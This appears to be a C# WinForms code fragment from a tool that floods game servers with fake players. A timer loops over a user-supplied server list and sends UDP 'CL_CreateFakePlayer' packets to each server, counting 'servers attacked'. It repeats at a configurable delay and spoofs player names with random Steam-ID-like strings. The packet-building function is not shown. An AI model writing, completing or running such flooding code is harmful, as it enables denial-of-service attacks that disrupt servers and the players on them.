private void Stop_Click(object sender, EventArgs e) { if (Stop.Text == "Stop Loop") { RepeatCreateFakePlayer.Stop(); LoopForClCreateClientFakeplayer.Stop(); Stop.Text = "Reactivate Loop"; } else if (Stop.Text == "Reactivate Loop") { LoopForClCreateClientFakeplayer.Start(); Stop.Text = "Stop Loop"; } }
private async void timer1_Tick(object sender, EventArgs e) { if (delaycheck.Checked == true) { int value; if (int.TryParse(delay.Text, out value)) { if (value > 0) { RepeatCreateFakePlayer.Interval = value; } } } if (delaycheck.Checked == false) { LoopForClCreateClientFakeplayer.Interval = 1; } if (spoofname.Checked == true) { NameText.Text = RandomStringSteamID(7); NameText.Enabled = false; } if (spoofname.Checked == false) { NameText.Enabled = true; } if (String.IsNullOrEmpty(delay.Text)) { RepeatCreateFakePlayer.Stop(); LoopForClCreateClientFakeplayer.Stop(); MessageBox.Show("Delay is null", "CL_CreateFakePlayer", MessageBoxButtons.OK, MessageBoxIcon.Error); delay.Text = "1000"; return; } if (String.IsNullOrEmpty(ServerList.Text)) { RepeatCreateFakePlayer.Stop(); LoopForClCreateClientFakeplayer.Stop(); MessageBox.Show("ServerList is null", "CL_CreateFakePlayer", MessageBoxButtons.OK, MessageBoxIcon.Error); return; } if (String.IsNullOrEmpty(NameText.Text)) { RepeatCreateFakePlayer.Stop(); LoopForClCreateClientFakeplayer.Stop(); MessageBox.Show("Player username is null", "CL_CreateFakePlayer", MessageBoxButtons.OK, MessageBoxIcon.Error); NameText.Text = RandomStringSteamID(7); return; } if (LoopForClCreateClientFakeplayer.Interval == 0 || RepeatCreateFakePlayer.Interval == 0) { LoopForClCreateClientFakeplayer.Stop(); MessageBox.Show("Delay is 0", "CL_CreateFakePlayer", MessageBoxButtons.OK, MessageBoxIcon.Error); delay.Text = "1000"; return; } else { for (int i = 0; i < ServerList.Lines.Length; i++) { int CalculateServersattacked = 1 + i; groupBoxServers.Text = "UDP Sended : " + CalculateServersattacked + "/" + ServerList.Lines.Length; this.CL_CreateFakePlayer(ServerList.Lines[i] + "\r\n", buffer); await Task.Delay(30); if (CalculateServersattacked == ServerList.Lines.Length) { groupBoxServers.Text = "Servers : " + ServerList.Lines.Where(line => !String.IsNullOrEmpty(line)).Count().ToString(); } } } }